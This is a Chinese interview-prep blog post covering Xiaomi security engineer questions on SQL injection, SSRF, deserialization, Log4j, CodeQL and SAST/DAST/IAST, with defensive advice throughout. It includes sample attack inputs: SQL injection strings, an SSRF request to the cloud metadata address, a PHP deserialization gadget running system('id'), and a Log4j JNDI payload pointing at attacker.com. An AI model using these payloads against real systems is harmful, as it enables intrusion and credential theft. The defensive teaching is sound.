前言: 本文将分享一些小米安全攻防工程师面试中的经典题目和答案解析,帮助大家更好地准备面试。以下内容涵盖了SQL注入、PHP与Java的预编译区别、SSRF攻击、防御方法等。
1. SQL注入怎么预防,预编译为什么能防?
SQL注入是攻击者通过拼接恶意SQL语句,破坏数据库操作的攻击方式,例如 id=1 OR 1=1
导致全表查询。
预防方法:
- 使用预编译(Prepared Statements) ✅ (最推荐)
- 使用ORM框架(如Hibernate、MyBatis等) ✅
- 严格控制输入参数(如黑名单、白名单) ✅
- 数据库最小权限原则(最小化SELECT、INSERT、UPDATE等权限) ✅
- 开启WAF(Web应用防火墙) ✅
预编译为什么能防? 预编译(Prepared Statement)会先解析SQL结构,再绑定参数,确保SQL和参数分离。这样即使攻击者输入 ' OR 1=1 --
这样的数据,也只会被当作普通字符串处理,不会改变SQL逻辑。
示例(PHP+MySQLi):
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
2. PHP和Java的预编译有什么区别?
特性 | PHP | Java |
---|---|---|
预编译方式 | PDO::prepare() | PreparedStatement |
SQL缓存 | 不默认缓存,每次执行需解析 | JDBC驱动通常会缓存 |
变量绑定 | bindParam() 动态绑定 | setString() 直接传入 |
安全性 | 依赖数据库支持,部分驱动可能仍有漏洞 | 结构化查询,安全性更强 |
执行流程 | 解析SQL → 绑定参数 → 执行 | 解析SQL → 绑定参数 → 优化 → 执行 |
核心区别: Java的JDBC预编译通常由数据库进行缓存优化,而PHP的预编译可能在某些情况下仍会被绕过(如PDO某些模式下)。
3. SSRF在PHP和Java中的利用方式
SSRF(服务器端请求伪造)允许攻击者让服务器去请求内部资源,如 127.0.0.1
或 metadata.google.internal
(云服务器元数据)。
PHP SSRF示例:
$url = $_GET['url'];
$content = file_get_contents($url); // 攻击者传入:http://169.254.169.254/latest/meta-data/
echo $content;
防御方法:
- 禁止外部URL请求 (
allow_url_fopen=Off
) - 使用 curl 结合 CURLPROTO_HTTP | CURLPROTO_HTTPS
- 解析IP并阻止
127.0.0.1
、私有地址段
Java SSRF示例:
String url = request.getParameter("url");
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
防御方法:
- 解析
URL.getHost()
防止请求localhost
- 结合
InetAddress.getByName(host).isLoopbackAddress()
4. PHP和Java反序列化的异同及利用
相同点:
- 都会将序列化的对象转换为可执行对象,可能触发 RCE(远程代码执行)
- 利用链通常依赖于魔术方法(PHP的
__wakeup()
/__destruct()
,Java的readObject()
)
PHP反序列化:
class Exploit { function __destruct() { system("id"); } }
$payload = serialize(new Exploit());
unserialize($_GET['data']);
Java反序列化:
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = in.readObject();
防御方法:
- PHP:
unserialize()
避免反序列化用户输入,改用json_decode()
- Java:使用
ObjectInputFilter
限制反序列化的类
5. SCA(软件成分分析)是什么,如何实现?
SCA(Software Composition Analysis)用于检测依赖库的安全漏洞。
实现方式:
- 灰盒(依赖运行时):通过 agent 监控依赖加载,如 OpenTelemetry 或 AppSensor
- 白盒(代码扫描):Maven + OWASP Dependency-Check 解析
pom.xml
- Snyk、BlackDuck 检查开源组件
6. Log4j防御方法
- 升级到Log4j 2.17+
- 禁用JNDI (
log4j2.formatMsgNoLookups=true
) - 使用WAF拦截
${jndi:ldap://attacker.com/a}
关键字7. 从Agent到字节码Hook的流程(伪代码) {#agenthook}
public class Agent {public static void premain(String agentArgs, Instrumentation inst) {inst.addTransformer(new Transformer());} }class Transformer implements ClassFileTransformer {public byte[] transform(...) {// 修改字节码,例如插入日志} }
8. CodeQL可以用于CI/CD吗? {#codeqlcicd}
✅ 可以,可在 GitHub Actions 进行代码扫描:
name: Run CodeQL Analysis
uses: github/codeql-action/analyze@v2
9. CodeQL哪些地方会断,该如何处理? {#codeql}
问题: ✔ 代码量过大时OOM
✔ 复杂查询超时
解决方法: ✔ 增加内存 --ram=8G
✔ 拆分复杂查询
10. 白盒分析 vs. 灰盒分析 {#sastvsiast}
分析方式 | 方式 | 检测精度 | 性能影响 |
---|---|---|---|
白盒(SAST) | 代码静态分析 | 高误报 | 无 |
灰盒(IAST) | 运行时监控 | 低误报 | 可能有开销 |
11. SAST、DAST、IAST优缺点 {#sastdastiast}
✔ SAST(静态分析):代码级别检查,误报较多
✔ DAST(动态扫描):黑盒测试,可能覆盖不足
✔ IAST(交互分析):结合运行时信息,准确度更高
12. 了解DevSecOps吗? {#devsecops}
✅ 了解,DevSecOps是将安全融入CI/CD,如: ✔ SAST(SonarQube)
✔ DAST(ZAP)
✔ SCA(Snyk)
13. 未来想从事什么方向? {#future}
👉 完整文章内容请见 CSDN 博客,点赞+收藏获取更多安全攻防面试题解析!